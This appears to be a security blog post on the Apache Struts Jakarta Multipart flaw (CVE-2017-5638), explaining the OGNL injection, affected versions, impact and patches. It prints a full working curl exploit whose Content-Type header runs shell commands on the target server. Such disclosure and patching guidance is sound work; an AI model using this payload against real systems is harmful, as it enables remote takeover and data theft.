Listen to this Post
How the CVE Works:
The vulnerability resides in the Jakarta Multipart parser of Apache Struts. An attacker can exploit this by sending a malicious `Content-Type` header in an HTTP request to a Struts-enabled application. The parser incorrectly processes this header, allowing OGNL (Object-Graph Navigation Language) expressions to be executed. When the parser fails to handle the invalid content-type, it throws an exception and passes the error message, which contains the user-supplied header, to the `buildErrorMessage` method. This method then evaluates the OGNL expression contained within the malicious header. Since OGNL expressions have full access to the underlying Java environment, this leads to remote code execution with the privileges of the application server, granting the attacker complete control over the system.
Platform: Apache Struts
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability : Remote Code Execution
Severity: Critical
date: March 2017
Prediction: Patch released (CVE-2017-5638)
What Undercode Say:
curl -H “Content-Type: %{(_=’multipart/form-data’).([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context[‘com.opensymphony.xwork2.ActionContext.container’]).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd=’whoami’).(iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(cmds=(iswin?{‘cmd.exe’,’/c’,cmd}:{‘/bin/bash’,’-c’,cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}” http://vulnerable-server.com/login.action
How Exploit:
Malicious HTTP request.
OGNL expression injection.
Arbitrary command execution.
Protection from this CVE:
Upgrade to Struts 2.3.32 or 2.5.10.1.
Apply vendor-provided patch.
Filter malicious Content-Type headers.
Impact:
Full server compromise.
Data theft, modification.
Service disruption.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
